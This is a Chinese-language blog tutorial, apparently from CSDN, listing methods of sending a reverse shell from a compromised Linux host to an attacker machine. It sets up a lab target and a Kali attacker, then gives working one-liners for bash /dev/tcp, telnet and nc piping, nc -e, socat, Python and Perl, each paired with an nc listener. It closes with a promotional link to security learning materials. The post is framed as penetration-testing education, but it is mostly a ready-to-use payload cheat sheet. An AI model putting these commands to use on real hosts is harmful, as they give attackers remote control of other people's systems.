**作者名:白昼安全
主页面链接: 主页传送门
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日鸡汤: **宇宙有宇宙的规律,我也有我的坚持
当我们拿到一台LINUX主机的权限时,往往都需要反弹到公网的服务器上,一般我们使用bash来反弹的情况居多,但是bash也有失灵的时候。在这种情况下,我们可以尝试使用其他的反弹语句来达到我们的目的。
下面给大家列举一些平时用的比较多的 shell反弹方法
这里的演示环境为
目标机器:centos 192.168.149.133
攻击机器:kali 192.168.149.129
一、Bash反弹
条件:
当前用户有足够的 权限 执行bash命令
当前的shell环境需要是 bash shell 下,不是bash shell的话会导致报错,提示没有该目录或文件夹
例如kali默认的就是zsh shell,所以如果想把kali的shell用bash反弹出去的话需要先用 bash命令进入bash shell
才能使用bash反弹shell,如下
1、攻击机上执行监听
nc -lnvp port
"port"为监听的端口号
2、目标机器上使用bash反弹shell
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
bash -i 打开一个交互的bash
& 将标准错误输出重定向到标准输出
/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互
3、效果如下
二、telnet反弹
Telnet 是一种用于远程登录到计算机系统的网络协议和命令行工具。使用 Telnet,您可以在本地计算机上打开终端窗口,然后通过 Internet
或局域网连接到其他计算机。
Telnet 命令可用于连接到远程计算机并执行各种操作,例如运行命令、编辑文件或查看系统信息。您可以使用 Telnet 客户端应用程序来发起
Telnet 会话,并在会话期间发送命令和接收输出。简单来说就是ssh的前身
条件 :目标机器上存在telnet服务
1、 攻击者主机上打开两个终端分别执行监听
nc -lnvp port1
nc -lnvp port2
监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip
2、目标主机中执行
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555
3、效果如下
在4444的监听终端输入指令,即可在5555的监听终端查看指令结果
三、nc反弹
1、支持-e参数
如果目标机器上的nc支持-e参数,如下就可以直接反弹
攻击机执行
nc -lnvp 端口
目标机器执行如下命令反弹shell
nc -e /bin/bash x.x.x.x port
效果如下
2、不支持-e参数
这里讲的就是另外一种情况,目标机器上有nc,但是nc的版本不支持e参数,这里就给大家介绍一个技巧—— NC串连
kali攻击机上开启两个终端监听不同端口分别用于接收输入和输出
目标机器上使用nc串联反弹权限
nc 客户端的ip 第一个端口|/bin/bash |nc 客户端的ip 第二个端口
详细给大家讲一下服务端执行这条命令的意思
语句的前半部分 服务端nc 将shell回弹到 客户端ip的第一个端口 ,此时客户端开启 对第一个端口的监听
并成功建立连接(但这里并不是交互式shell,看不到命令执行的结果),语句后半部分意思就是将用户在
第一个端口建立的shell上的命令执行结果作为第二个端口的输出内容 ,此时用户再用 客户端nc 监听并连接第二个端口,这样就可以实现攻
击者在第一个端口输入命令,在第二个端口就能看到命令执行的结果
效果如下
这样我们再4567端口的监听页面输入的命令的回显结果就会在1234端口的监听页面显示
这招巨好用,大家可以多看看或者下去自己试一下
四、 socat 反弹
socat是一个用于数据转发的命令行工具,它可以在两个端口之间建立虚拟通道,将数据从一个端口转发到另一个端口,同时支持很多网络协议。
1、攻击机开启监听
2、目标机器使用socat反弹shell
执行如下命令
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:x.x.x.x:port
x.x.x.x是攻击机的ip
port是攻击机开启的监听端口
![](https://img-
blog.csdnimg.cn/281786c1f34e44f582ee02466ab8c45c.png)3、效果如下
五、Python反弹
1、攻击机开启监听
nc -lnvp port
我这里用的是
nc -lnvp 1234
2、目标机器使用python反弹shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('x.x.x.x',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
x.x.x.x是攻击机的ip
port是攻击机开启的监听端口
3、效果如下
六、PHP反弹
1、攻击机开启监听
nc -lnvp port
2、目标机器上使用php反弹shell
3、效果如下
七、Perl反弹
1、攻击机开启监听
nc -lnvp port
2、目标机器上使用perl反弹shell
perl -e 'use Socket;$i="x.x.x.x";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
即可成功拿到目标shell,效果与php反弹shell差不多,文章篇幅原因就不附图了
网络安全工程师(白帽子)企业级学习路线
第一阶段:安全基础(入门)
第二阶段:Web渗透(初级网安工程师)
第三阶段:进阶部分(中级网络安全工程师)
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!